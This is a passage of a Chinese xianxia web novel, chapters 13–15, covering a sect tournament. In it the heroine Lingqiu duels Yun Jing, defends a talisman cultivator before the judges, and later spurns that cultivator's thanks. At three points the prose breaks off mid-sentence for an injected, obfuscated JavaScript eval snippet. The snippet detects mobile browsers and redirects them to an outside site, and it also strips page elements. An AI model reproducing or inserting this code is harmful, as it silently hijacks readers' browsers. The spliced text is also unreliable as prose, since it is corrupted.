灵秋毫不含糊地瞪云靖一眼,重重咬出一句“滚。”而后与霍羽一道,走到了离他最远的一处席位。 待走远,霍羽有些担心地看一眼云靖,蹙眉道:“他身上有你五年修为,又如此自信,这回你是自己打自己,真的没问题吗?” 灵秋露出标准的安抚性微笑,摆了摆手:“师兄,你都担心一路了,真的没事。” 她摩挲着手中铁剑,看向远处的人影,嗤道:“五年如何,十年又如何?我若要赢,神佛难止。” 霍羽笑道:“师妹,我相信你。” 远处逍遥派的坐席最首,灵秋与霍羽正凑在一起说着什么。 云靖被他们丢在原地,那句带着嫌恶的“滚”还在耳边环绕不绝。 突然之间,他看见霍羽说着什么,对他皱了皱眉。 一股冰凉的视线随即射向这方,灵秋脸上浮现出讥诮的神情,也开口说了些什么,霍羽便跟着笑起来。 轰的一声,云靖感到头皮发麻。 他们在说他。 说什么呢? 难道会是什么好话? 刹那间,某种激烈的情绪破土而出,枝枝man蔓,疯狂缠绕住他压抑已久的心脏。 云靖的大脑一片空白,再回过神,他站在擂台上,耳边是凝霜剑疯狂而危险低鸣。 灵秋立在对面,手持铁剑,神色冷峻,周身杀气凌厉翻滚。 台下,原本喧闹的观众全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15277168|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都默不作声了,屏息凝神地关注着擂台上的两人,心都提到了嗓子眼儿。 左侧,支撑擂台盘龙雕刻的天柱被拦腰斩断,半个台子塌陷进深不见底的江水。 右侧,葱郁茂盛的树林被削首,草木受伤后散发出的特殊气味漂浮在整座擂台左右。 一片狼藉,一片混乱,这场比武,两人如仇人般抵死缠斗,仿佛带着同归于尽的决心。 云靖伸手抹了把脸,冰凉而粘稠的触感,是伤口上半凝固的血。 白袍被划破了,腰腹间浸出大片可怖的红色,身体上的剧痛提醒着他伤口的位置,一处又一处。 他抬起头,只见灵秋手中铁剑的上半部分完全消失,只留下整齐而锋利的断口。 他记得自己做了什么。 一剑,一剑,不要命地向前进攻,一寸一寸斩断她手中铁剑。 咔咔嚓嚓嚓—— 猛烈如急雨的攻击下,灵秋被迫步步后退。 她看着云靖脸上的血痕,心想他一定是疯了。 她已经记不起自己划了他多少剑,从腰腹、后背到小臂、大腿。 这样的攻击力度,换做常人早该体力不支,他却像不知疲倦似的,一招接着一招,打得更急更猛。 这种完全不要命的打法,她在魔域战场一百年也魔族战场百年也从未见过。 有那么一时半刻,灵秋觉得,他离气血耗尽恐怕就差那么一点,就差那么一击。 她不敢再进攻了。 这和以命相逼有什么区别? 众目睽睽,云靖今日说什么也不能死在她手上。 灵秋转攻为守,被动承受着他的攻击。 一旦改变策略,手上的铁剑在凝霜面前就变得像泥塑般不堪一击,两三下便被削得只剩小半截。 刷! 灵秋挥手一抛,断剑飞出擂台,落进江水里。 她揪住头上的发带,腾空腾起,轻轻一扯,满头青丝散落。 红绸飞向云靖,如同一条灵活的蛇,紧紧缠住他手中的剑,不断变幻着角度,抵挡,回击。 剑影迅疾地划过长空,灵秋侧身做出一个躲避的动作,几乎同一刻,红绸如同一道闪电,精准而迅速地飞掠过云靖耳侧,悠悠斩落一缕青丝。 灵秋落在擂台上,衣袂浮动间,红光闪烁。 她趋势剑气附着在柔软的绸缎上,如长虹贯日,一进又一进。 云靖见状飞身后退,脚尖点在江面,长剑在水面上划出一道细长的纹路。 一起一落,两人的上下位置迅速调换,打斗间扬起的江水簌簌落下,像一场骤雨。 云靖一面后撤,一面抵挡着灵秋柔和却不容躲避的攻势,俯仰之间,双腿一曲,在空中轻轻一转,贴着灵秋,折至她身后,双臂发力,剑锋直取向她后颈。 就在这一瞬间,灵秋骤然回头。 凝霜剑寸寸逼近,眼看就要没入她体内,灵秋立即驱动红绸。 嗡的一声。 剑锋在她眼前停驻。 这柄属于云靖的本命剑猝然自主人手中脱开,在空中迅速掉了个头,安安稳稳地落进灵秋的掌心。 “什么情况!?” “那不是本命剑吗?怎么会跑到对手手里去了?” “修士的本命剑怎么可能允许他人触碰?!” 台下爆发出难以置信的惊叹。 擂台上,银光闪闪的剑横在两人中间,局面骤然反转。 灵秋与云靖四目相接,距离太近,近到她能清晰感受到他急促的呼吸。 两个人的胸膛都剧烈起伏着,对面漆黑的眼睛像一颗不安跳动着的心脏,轻轻颤动着。 云靖闭上眼睛,做出等候宣判的姿势,像赴死前的囚犯,紧绷着身体。 就这么想赢吗? 灵秋想,这辈子大概再也不会有人能让她一再容忍到这个地步。 刷—— 凝霜剑被扔到一边,剑锋插进坚硬的大理石,发出刺耳的摩擦声。 灵秋深吸一口气,平静地宣布: “我输了。 她转身径直走下擂台,人群哗然。 云靖不可思议地睁开眼睛。 凝霜剑静静立在不远处,鲜艳的红绸如流水环绕着剔透的剑身,一圈又一圈,柔软的丝绸贴合着冰冷的金属,和煦的春风中纠缠,难舍难分,勾勒出飘扬的画面。 云靖小心翼翼地解下绸缎,拿在手里,快步追上灵秋。 见他靠近,霍羽和江芙同时闪身,挡在灵秋身前。 江芙从他手上接过绸带,漠然道:“给我就好。” 云靖一动不动地望着灵秋,被她生硬地错开眼神,僵持片刻,终于颓然背过身去。 灵秋牵着兰翘转身往比武场外走去。 “回去吧,我们不看了。” 兰翘捏捏她的手,像是无声的安慰。 身后传来声音:“本场,银霜楼云靖对逍遥派凌秋,云靖胜!” “下场,银霜楼云靖对梁溪苏氏游观青,请双方上场准备!” 灵秋离场的脚步突然顿住。 13.路见不平唇枪舌剑 自从卧底仙门,她打了不知多少次擂,还是头回见到一场打完,连口气也不带喘,马上就上下一场的。 灵秋走回观众席。江芙惊讶地问她:“你怎么又回来了?” 灵秋看着远处台上浑身是血的云靖,冷笑连连:“我想看看他是怎么死的。” 她拿起红绸带,随手将头发挽了,认真地盯着那方擂台上的动静,在对上云靖的目光时朝他递出一个恶狠狠的眼神。 叫你不要命地打我,现在好了。 你就等死吧。呵呵。 灵秋聚精会神地关注着云靖的对手。 那是一个跟他差不多年纪的姑娘,有着一张消瘦的脸,鹅蛋白的皮肤上镶嵌着黑沉沉的眼睛、长密密的睫毛,眉峰深而微微上挑,青衫磊落,装扮朴素。 她的五官并不精致,偏一双眼睛阔而明亮,若一汪泉水,颤动着紧张的微波。 游观青站上这方擂台,代表的是北方的仙门世家——梁溪苏氏。 可她不姓苏。 灵秋注意到游观青执剑的手。 她的手既不纤细,也不柔腻,覆盖着一层清晰可见的茧——既不在虎口也不在指根,在关节和指腹。 胥阳山上清苦十年,灵秋一眼看出——这是一双被粗活磋磨过的手,而非修士惯常握剑的手。 他们竟然让一个普通人站上擂台!? 灵秋猛地看向世家所在的方向。 锦绣锻袍连绵成不绝的海,浩浩荡荡,蔽日遮天。苏氏家主坐在看台最高处,目光淡漠地注视着场中的两人,他身侧,一个又一个世家掌权人安然坐着,表情是一样的沉稳,一样的冷漠。 家主们正下方,站着这一代氏族中最优秀的年轻子弟。 这些少男少女同样看着场下,脸上的表情与父辈如出一辙。 众人间,唯有一个相貌俊秀的少年俯身靠在栏杆上,紧张而密切地关注着擂台。 随着比试开始,游观青手中宝剑曲折蜿蜒,艰难地抵挡着云靖的进攻。 她的身法十分娴熟,剑术却极为生涩,不一会儿便落了下风。 江芙也瞧出不对劲,蹙眉道:“她好像不是剑修!” 灵秋朝裁判席上的三位仙士投去一眼。 此时游观青已经被多次击倒,口中鲜血汩汩,洇红了地面。 难道没人看出不对劲吗?这是被允许的吗? 灵秋皱着眉,只见三位仙士一语不发。倒是场中的云靖终于觉察出几分不对。 凝霜剑在空中挽出一道剑花,利落地背在身后。云靖对游观青道:“你不是我的对手,现在认输,可保一条性命。” 游观青闻言却从地上挣扎着站起来。 “我不认。” 她抬手抹去嘴角的血,握紧了剑,旋即飞身,再度攻向云靖。 “今日参加比试的人怎么一个比一个还不要命?” 身侧,不知哪门哪派的弟子发出由衷的疑问。灵秋眼见擂台上的少女被一次次击倒又一次次坚持着站起来。宝剑在空气中勾勒出青涩的弧线,连连不绝。 她紧紧抓住每一个可乘之机,青衫都被血浸透,有好几次,眼看就要被击飞出去,最后一刻却不顾性命,死死坚持在一个危险的位置,剑尖点地,在擂台上一路划出炫目的火光。 “最后一次。”云靖剑指游观青,“我不想杀人。” 长时间的连续打斗让他本就重伤的身体不堪重负。凝霜剑的剑尖在空气中微微颤抖,云靖使出最后一击。 嘭! 游观青认命般闭上眼,摔下了擂台。 “本场,银霜楼云靖对梁溪苏氏游观青,云靖胜!”” 欢呼与掌声齐齐灌入耳朵。 云靖转身看向灵秋,灵秋的目光却始终追随着游观青。 那个先前看台上唯一紧张的俊秀少年飞下来,落到游观青身侧,伸手做出一个搀扶的姿势。 他关切地看着她,游观青却紧紧盯着场外的另一个人。 灵秋在接收到这份注视时愣了一下。 那双在擂台上神采奕奕的眼睛此刻如一潭死水,游观青望着她的表情迷茫而沉重,就像终于得到宣判的死囚。 她不明所以,直到听见裁判席上传来:“下一场,逍遥派凌秋对梁溪苏氏游观青,请上场准备!” 灵秋恍然大悟。 看游观青的样子,似乎一点也不想和她打。 灵秋低头思索着。 江芙在这时递来自己的剑,她摇摇头。 云靖与灵秋擦肩而过,只见她大踏步走向游观青。 “你不是剑修。” 灵秋直截了当地给出结论,游观青和那个少年同时露出惊讶的神情。 怎么,难道他们以为在场的人全都是瞎子吗? 灵秋在心里默默吐槽。 仙士催促着无关人士离场,少年一步三回头地走了。 游观青心道:“即便对手是传说中的凌秋,也不能不战而退。” 她提着剑往擂台去,灵秋却绕到她身前,拦住她的去路。 裁判台上传来威严的声音,风云震动,仙士的催促一声高过一声,她也只是一动不动地看着她,垂首问道:“你修的……是什么道?” “符修。”游观青答:“我是符修。” 灵秋笑了:“那这一场,我就和你比画符,行吗?” 游观青惊讶地看着灵秋,呆滞地点头。灵秋便迅速转过身,对着高台上的仙士大声宣布:“我不和她比剑,只和她比符。” 一言既出,四座哗然。 最左侧的一位蓝袍仙士闻言嗤笑一声,道:“剑道比试,你要比符?” “没错。” 灵秋毫无惧色地望向他:“我只和她比符。” “不可能。不过,你可以现在就认输。” 右侧,另一位灰袍仙士淡淡开口。 “我可不想认输。”灵秋盯着高处的三人,“既然不能和她比符,比剑也不是不行。只不过,我要换一个对手。” “你到底想怎样?” 蓝袍仙士极不耐烦。 灵秋伸手往台上一指,嘴角勾起一抹弧度,用无比清晰且笃定的声音,大声说道:“我要和你——你们比。” 她道:“阳华仙会既然是为太霄辰宫选拔内门弟子,自然要择出实力最强的那个。在场众人,最强的恐怕就是几位仙士了。我和你们比剑,要是赢了,那不就证明我是此处最厉害的那个吗?如此一来,之后的比试也用不着了。一劳永逸,求之不得。” “你想和我比?”蓝袍仙士干笑几声,忽而变了脸色,叱道:“我是主司,你是剑士,你这是以下犯上!” 灰袍仙士冷冷道:“不懂规矩。” 灵秋闻言一声轻笑,道:“江湖规矩,历来比试之后要留出时间供修士恢复调整,今日你们咄咄逼人,不断催促,致使败者力竭,胜者重伤。” 她指向远处浑身是血,虚弱倚靠在于风身侧的云靖,刻意回避了他灼热的视线 。 “既然主司可以如此不顾规矩,枉顾性命,剑士一样可以打破常规,另辟蹊径。你不顾惜我的性命,我又凭什么守着规矩,顾及你的体面?” 灵秋盯着一蓝一灰两道身影,挑衅地说:“两位若是怕了,只管一起上场。” 她扯开发带,捏在手上:“方才在座诸位都瞧见了,我手中铁剑早已沉入江水,所以与你们对打,这一局,我只用绸带。” 一阵风过,吹起她青丝飘扬如瀑。红绸张扬,灵秋笑得更张扬:“怎么,话及此处,两位还是不敢应战吗?” 全场鸦雀无声。 “疯了。” 江芙目睹灵秋口出狂言,紧紧揪住逍遥散人的衣袖,急道:“师父,快想想办法啊!” 要是两位仙士真的被激怒下场,师妹就完了! 霍羽也跟着说:“师父,要不您赶紧上场去吧!” 兰翘兴奋地附和:“是啊,师父,您快上场去帮师姐打架吧!” “上上上,上什么上。”逍遥散人狠狠抽出发皱的衣袖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288094|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他看向高台中间始终沉默的白衣女人,负手泰然道:“放心吧,不可能打起来,你们以为阳华仙会是什么?菜场啊。主司和剑士打起来,还二对一,传出去太霄辰宫还要不要脸?看着吧,最厉害的那个马上就要出手了。” 话音刚落,只听那蓝袍仙士哼哼一声,怒道:“你要打,我就跟你打!只怕你今日有命叫板,无命下台!”言罢,径自飞身而下。 白衣女人指尖溢出一道流光,捆仙锁似的,刷刷几下绑住他,禁锢了一切动作。 女人柔媚的声音响起,带着三分慵懒:“入门多少年了,怎么还跟个炮仗似的,一点就炸。” 蓝袍仙士小声唤了声:“师叔!” 白衣女人丝毫没有理会,她望向灵秋,笑道:“阳华仙会是为太霄辰宫挑选弟子,也是为天下苍生挑选护卫与倚仗。待来日,你们这些年轻人走入尘世,除魔卫道,难道穷凶极恶的魔族会在大战之后,好心留给你们机会修整吗?” 她的语气柔和,却带着不容侵犯的威仪:“阳华仙会历来如此,无法适应只能说明你的修为尚弱,还不足以成为一个合格的斩魔人。” 除魔,斩魔,穷凶极恶。 她每说出一个“魔”字,灵秋的太阳穴就狠狠抽动一下。 她在心里拼命完全带入凌秋的角色,深吸一口气,反问道:“仙尊的意思是优胜劣汰,今日在这场中重伤乃至死亡的修士都是求仁得仁咯?” “自然。” “敢问太霄辰宫之人使命为何?” “除魔卫道,护佑苍生。” “敢问苍生几何?” “天下之大,俱是苍生。” “那你有没有想过,今日在场的修士若不死不伤,走入人间,也能除魔,也能卫道,也能护佑哪怕一个、两个所谓的苍生!天下之大,并非所有魔族都是穷凶极恶……无法战胜之辈。” 灵秋道:“我不懂什么大道理,只知道人被杀,就会死。受伤就会留疤。这些人原本可以死在与魔族对抗的战斗中,如今却因为不合理的赛制,为了太霄辰宫虚无缥缈的盛名,死在同僚手上。” 她看着白衣女人,一字一顿地说:“这不是除魔卫道,而是自相残杀,草菅人命。” “还有符修。” 白衣女人皱了皱眉,灵秋没有给她开口的机会,自顾自接着说:“我知道,阳华仙会历年只收剑修,无非是觉得修剑道的人更厉害,能多杀几个魔族。” “可我想请教仙尊,都说人间北方仙门世家历来多符修,你们如此急切地寻求剑士,是否这些修符的人在太霄辰宫眼中都是不堪一击之辈,整个北方是倚仗太霄辰宫的庇护才得以在魔族手中苟延残喘至今?” 人群泛起喧闹,看台右侧,原本安稳看戏的北方修士此刻全都开始交头接耳,十几位世家家主也忍不住将目光齐齐投向白衣女人,微微皱了眉。 整个人间以绵延的山脉为界,划分南北。南方世家,有大大小小的仙门,有太霄辰宫,北方则世家林立,被古老的氏族牢牢把控。 自从徐悟建立太霄辰宫,世家权力被大大削弱。灵秋的这番话不仅贬损了符修,更动摇了最根本的东西。 今日,无论如何和也要逼出个结果。 无数窃窃私语中,灵秋看见白衣女人愣了一下,旋即笑道:“好一个伶牙俐齿的姑娘。” “天下修士俱是一家,均以除魔卫道为己任,何来南北剑符之分。太霄辰宫从不敢妄自居功,至于阳华仙会,对打、试炼均由参赛之人自己把握,若力有不逮,随时都可以退出,自由决定,又何来草菅人命之说?” 她轻声慢语,挥手拖回那被绑在半空中的蓝袍仙士,笑道:“你若执意要与这位姑娘比符,你二人又均无异议,那便比吧。” “不过,”白衣女人看向游观青,“即便赢了,下一场也还是要与剑修碰上。到那时,可就不会再有人答应以符换剑了。” “多谢仙尊成全。” 灵秋浅浅一笑,终于转身对游观青道:“来吧。” 14.故人在野宿怨祸心 咣当—— 游观青扔下剑,只见她袖袍一挥,数枚符篆破空而出,如雪飞扬。 周遭灵气簌簌响应,符文流转似星辰环绕,天地颜色骤然大变。 数道符咒飞掠而出,带着破竹之势扑向灵秋。 她飞身后退数步,指尖弹出全身上下仅有的几张黄纸,却如杯水车薪、螳臂当车。眨眼之间,整个人便被强劲的符咒逼退至擂台边沿。 真是自讨苦吃。 灵秋堪堪稳住身形,凌空而立。 风声鹤唳,吹起她袖袍猎猎。虚空之中骤然浮现数道金芒,灵秋有些心虚地朝台下望一眼,果然对上逍遥散人期待的目光。 说到符篆,也就只剩那一个了吧。 她叹了口气,并指为笔,重重划破虚空。每划出一下,天地便紧绷一寸。 头顶浓云翻滚,指尖灵光流转,当最后一道符线上扬收束,周遭之景猛地一震,闪电露出狰狞的光舌。 “九霄御雷诀!” 高台上的三位主司全都站起身,那蓝袍仙士当场指着灵秋惊呼道:“这是太霄辰宫的法术!你为什么会太霄辰宫的法术!?” “不对。”灰袍仙士反驳道:“九霄御雷诀的符线笔笔方正,而她所绘的符线却笔笔上扬。这不是九霄御雷诀,只是很像罢了。” 呲呲—— 浓墨般厚重的云层发出阵阵令人胆寒的低吟,仿佛顷刻之间,万钧之力就要降临。 众人皆默不作声,无数道目光射向场内,屏息凝神地等着。 看台上,段若霜和云正停下替云靖运功疗伤的动作,齐齐望向灵秋,心头皆是一颤。 当年芙蓉树下一剑动九州的少年仿佛还站在那方擂台之上。 银剑纵横、身形错落。风起云涌间,符线上扬,一道惊雷猝然劈向大地。紫电万丈,就此成为太霄辰宫历史上最为冠绝的一笔,九霄御雷诀由此问世。 此后五百年,少年天才弃剑而走,踪迹难寻,这道被他抛下的符诀历经多番调改,昂扬的符线笔笔下坠,终于变作再平凡不过的方圆。 两人透过台上的少女,依稀窥见故人的身影,内心激荡不已。 逍遥散人站在远处,和众人一样期待着。 十年师徒,他有心无力,只教给过灵秋这一道克敌制胜的终极绝招——虽然她学会之后从来不愿在他面前使用。 逍遥散人期待灵秋能使出比自己当年更技惊四座的威力,毕竟她是那样天资卓越的一个弟子。 天上云又近了一寸,黑云低悬,隐约可见一道遒劲蜿蜒的紫色光柱正以惊人的速度凝聚成形。游观青大口喘着气,内心已甘拜下风。 凌秋就是凌秋。 古今第一天资的名号摆在那里,剑道如何?符修又如何?世间还有什么是她做不好的? 一种闷闷的无力感涌上观青心头。 她在苏氏从早到晚地干粗活、卖力气,四处挤出修炼的时间。半刻钟,一刻钟,一个时辰,两个时辰……她像积攒晨露一样积攒着时间。一分一刻,整整十年。 下一场阳华仙会还要等上百年。 一百年那么长。 北方那么动荡,每日死在魔族手里的修士那么多,她还能不能有下个百年? 观青颓丧地垂下头,从没有哪一刻像现在这样坚信自己已经彻底输掉了这局。那些飞雪似的符咒紧张地环绕在她周围,准备着承受重击。 灵秋伸手朝前一推,麻麻道:“雷来。” 轰—— 紫电如天柱贯通云霄,雷声大震,一道历光猛劈向地,扬起百丈高的尘土! 观青猛闭上了眼。 好疼……吗? 她惊讶地抬起头,只见自己周身安然无恙,不仅如此,就连围绕她在身侧的符篆也丝毫没有半寸破损。 紫电轰隆一下过去了,万钧之力在触地的瞬间骤然泄气,化作一股歪风猛刮向四周,吹得整个观众席东倒西歪,简直像某种恼人的恶作剧。 灵秋深深叹了口气。 好了吧,这下全世界都知道她是个不会画符的笨蛋了。 谁能想到,有着“古今第一天资”之称的凌秋实则从来于画符一事上比旁人少几分悟性。 好在只不过引来一阵风。灵秋后知后觉地感到庆幸。 不是像以前一样的爆炸就好。 她转身看向逍遥散人,对上他无语凝噎的表情,露出一个略显惭愧的笑容。 不用说,与她相比,游观青操纵符篆的能力简直厉害多了。 高台上的蓝袍仙士当场爆出一声爆笑,嘲道:“哈哈哈哈我就没见过能把九霄御雷阵用成这样的!” “不是九霄御雷阵。”灰袍仙士默默反驳。 “……” 蓝袍仙士朝他递去一道无语的眼神。 这一场交锋,终究是观青赢了。 她走下台时,灵秋正低着头一边数着地上的裂缝,一边等待下一个对手。 观青整个人像走在棉花上一样飘然虚浮。世界变得轻飘飘的,像一场尚未褪去的美梦。她回到梁溪苏氏的队伍里,苏氏家主终于第一次将目光完完整整地投向她。 观青不敢眨眼,连视线都有些发晕。 接下来的事就简单多了。 不同的人一个接一个走上擂台,灵秋挨个打过去,招式越来越狠,越来越快,越来越简单,打到最后忍不住呵欠连天。 砰! 她把对面的人随手打下擂台,忍不住转身对蓝袍仙士怒道:“到底还有完没完?” “本场,凌秋胜。” 蓝袍仙士刚有气无力地报完幕,看着她重重叹出一口气,接着用机械性的口吻说:“下一场,逍遥派凌秋对闻人氏闻人双双,请准备。” 身着明黄色齐胸襦裙的少女提剑上台,她发髻高挽,发间斜插一只鎏金凤凰钗,看向灵秋的眼神冰冷而锋利,像是把仇恨全都磨成了寒光,藏在瞳仁深处。 珠翠在江河波光中摇曳晃动,与上身黄衣相映成辉,起落之间,只听见“铮铮叮叮”数声脆响。剑锋与绸带相交,火星四溅。 两人脚步交错间,飞沙走石。灵秋翩然落地,脚尖一顿,站定了。 她望向闻人双双手中宝剑,轻蔑笑道:“剑还是好剑,人也还是废物。” 言罢,纵手一击,砰的一声,闻人双双急速飞出,摔下了擂台。 蓝袍仙士立刻念出那句说了无数遍的台词:“本场,凌秋胜。” 然而话音刚落,他立即惊呼道:“啊——你做什么!” 闻人双双的剑峰猝然朝着游观青刺去。 一切发生得太快,灵秋想也没想,劈手射去一道剑气。 铮—— 剑身一偏,仿佛早有预知般,流畅地闪避。 眨眼之间,闻人双双在空中利落地折了个身,眸中寒光大盛,转动宝剑,猛击向了一个意想不到的方向。 自带神力的宝剑划破长风,带着尖锐刺耳的鸣叫向云靖射来,生死一刻,众人均未来得及反应,只见他凌空一顿,铁划银钩,猛地一击,将那柄剑击飞出去。 “好巧妙的身法!” 众人惊异地看着他动作,忍不住啧啧称叹。 “这是什么剑招?我从未见过!” 没人能回答。 灵秋站在擂台上。风吹过,带起手中红绸翩跹,与长发青丝飘动纠缠。 她静静盯着云靖手中宝剑,云靖也在此刻看向她。无数低语静默中,一道清凌稚嫩的声音骤然响起。 “这是我师姐的剑招!” 兰翘的语带愤怒,大声地对云靖提出指控:“你为什么会用我师姐的剑招!” 剑术一道,独创的招式往往是修士个人风格与实力的象征,一招一式,历来最忌讳他人模仿抄袭。 银霜楼众人不可置信地看着云靖,一时不知是先找闻人双双理论,还是先应对兰翘的指控。 而台下,众人本就对先前灵秋主动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292348|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认输的事耿耿于怀、疑窦丛生,如今听到兰翘一番指控,全都敏锐地嗅出了八卦的气息。 闻人氏势大,不用说,闻人双双一定会北方世家被力保。比起她突然发疯的所作所为,人们屏息凝神,更在意灵秋的反应。 要知道,江湖上,偷学剑招可不是小事。过去做出这种事的人往往身败名裂,被原主追杀一二百年的也大有人在。 大战恐怕一触即发。 然而出乎意料地,灵秋走下擂台,一句多余的话也没有,漠漠然道:“这不是我的招式。” 众人皆大失所望。 她路过云靖,手腕突然被他虚拽住。灵秋回头皱眉看他,挣了挣,竟没能挣开。 “这就是你的招式。”云靖道,“五年前水境,你曾用此招与千年蛟对打,我就是在那时候学会的。” 此言一出,四座皆惊。 正主否认,偷学的人却上赶着当面承认。这么嚣张的人,还是头一回见! 打起来,打起来! 众人心想,这下凌秋是一定会出手了。 她一定会出手,会吗? 云靖看着灵秋,心脏一上一下地敲着鼓。 他盼着她出手,又希望她不要出手。 他难以忍受她的漠然,不如与她淋漓激战一回。可她对他一认输,又撩动起他心底更为奢侈的愿望。 她会心软——想到这一点,心里就犹如一颗石子投进了湖面。 云靖观察着灵秋的反应,是试探。 当日水境之中她纵身一跃,铁划银钩,云靖从此记在心里。分别的两年,他白日里想着她做糕点,深夜也想着她,照着记忆临摹身法。 一招一剑,夜复一夜,他在当日一招半式的基础上创造出无数崭新的剑招,自在心底想:待来日相见定要与凌秋交流探讨。到那时,是叫“凌云剑法”还是“靖秋剑法”呢? 转眼间,太虚宫下起大雨。 又一转眼,天已经晴了,云靖拽着灵秋的手腕,手心就像有火在烧。 她的皮肤是冰凉沁骨的,灼热的温度全都来源于他自己。 灵秋将手腕从他手中抽出来,毫不在意,冷漠地说:“废招而已,你想学就学吧。” 场面顿时乱成一锅粥。 云靖眼中水光颤动,不可置信地看着灵秋,几步上前,用力拽住她的手腕,咬牙重复道:“我说,我偷学了你的剑招,故意的!” “我知道。”灵秋挥开他的手,“我说过了,我根本不在乎。” 说过…… 云靖怔怔望着她。 她还说过什么? “从今日起,你我二人,恩怨俱消,两不相欠。” “恩怨俱消,两不相欠。” 她说到做到。 灵秋没有出手,却不是以他所期望的方式。 云靖感到心脏好似被人刺了一刀,疼痛刺激着他,哇的呕出一口鲜血。 她凭什么说到做到! 凭什么偏偏是在这件事上说到做到! 他双眼泛红,目光散乱,自嘲地牵起嘴角,胸中情绪翻涌不休,偏头又是数口鲜血接连吐出,终于失去意识,软绵绵地倒进段若霜怀里。 当场人人交头接耳。 凌秋在有机会杀死云靖时猝然收剑,主动认输,又在受他挑衅,遭遇常人绝不能容忍之事时轻轻揭过。她修为高强,并非不能讨回公道。此番作为,不是不能,而是不想。 如何才能让一个修为高强、口齿伶俐的人处处容情? 众人心头一惊,恍然大悟,看向灵秋与云靖的眼神纷纷带上微妙的旖旎。 一众人中,唯有闻人双双看着云靖,面上流露出嘲讽失望的神色。 原来她也根本没把你放在眼里。 闻人双双看向逍遥派,她的目光扫过一众人,最终落在了被灵秋稳稳牵在身侧,笑着安慰的小姑娘身上。 那道鲜艳的身影可真是碍眼得很。这回,应该不会错了吧。 15.花深深莫及之人心 阳华境坐落于远离尘世的深山之中,周遭峭壁环抱,四面临江,结界丛生。 每逢清晨傍晚,宽阔的江面泛起浓雾。晓风拂过,氤氲的雾气扑面而来,沾湿一树西府海棠。棠花深深,春意沉沉,青砖黛瓦一路绵延,近有错落有致的水榭楼阁,远有傲然耸立的陡峭山岳。 工笔写意,刚柔并济,对比鲜明的图景在雾气弥漫之下显现出一派朦胧的和谐,得出几分方外仙家的缥缈,宛若一场春意的美梦。 这场美梦被一丛棠枝骤然划破,伴随两声脆响,无数花瓣飘然下坠,兰翘站在海棠树下,懵懵地抬手去接,被灵秋驱使着棠枝,狠狠敲了一记爆栗。 兰翘捂住额头,委屈得不行,抱怨道:“师姐,我不想练了。” 她摊开两只空空如也的手,举到灵秋面前:“练剑练剑,我们连剑都没有,到底该怎么练啊?根本就不能练嘛。” 灵秋随手抛给她一枝海棠,正想开口,却见远处徐徐行来一人。 游观青一见灵秋,走到她跟前便扑通一声跪下了。 她低伏身子,朝灵秋行了个大礼,吓得兰翘当场跳到一边,连连退出数步。 灵秋道:“你这是做什么?” 游观青抬起头来,诚恳道:“在下谢过凌姑娘当日之恩。若非姑娘手下留情,此刻我恐怕早已被逐出阳华境。” “手下留情?”灵秋沉吟片刻,“你的意思是当日你我二人比试,我刻意放水,未尽全力么?” 游观青只道:“凌姑娘天资出众,天下皆知。若非刻意,如何会败于我手。” “所以大家都是这么想的?” 灵秋不知是该笑还是该做出些别的什么表情,她看着地上的少女,片刻,终于笑出声来:“你知道我为什么不与你比剑吗?” 游观青道:“我不擅剑术,姑娘是怕与我对打,即使胜了,也胜之不武,对吗?” 灵秋道:“赢就是赢,输就是输。修为高低,何须顾及剑道符术?我之所以会为你出头,不过是因为欣赏你与银霜楼少主对打时的那份执拗。以符对剑的确不公,可这世间诸多不公之事,我并非每件都乐意插手。你既在那方擂台上苦苦支撑许久,久到连我这样的人也不由为之动容,为何终于取得成绩,却反而自认卑微,将功劳一股脑地推到别人身上,宁愿把自己的胜利当作他人施舍的恩赐也不敢承认自己的确技高一招。” 游观青怔怔地望着她。 灵秋转过身去,道:“这世间跪我的人很多,你却不配。你不必谢我,因为我已经开始后悔当日出手了。反正看你这样,迟早也是要滚出阳华境的。你既然觉得当日全凭我大发慈悲,那么就像那位仙尊所言,下一场,不会再有这么好的运气了。早点滚吧,别在我面前碍眼。” 她转身去招呼兰翘,举起棠枝对她道:“谁说要有剑才能练?世间剑道大成者,不过化有形为无形,化无形为万形。只要心中有剑,棠枝亦可伤人,流水亦可成锋。” 灵秋自三人身侧湖面引出一泓清水。她指尖微震,温柔的水就如同一条银带,穿越密密匝匝的棠花,飞向远处的假山。 只听轰隆一声,顷刻间,山石飞溅! 水带轻巧地穿梭在碎石之间,所过之处,空气发出刺耳的嘶鸣。剑气若有若无,潜藏的杀意却足以令人胆寒心惊。 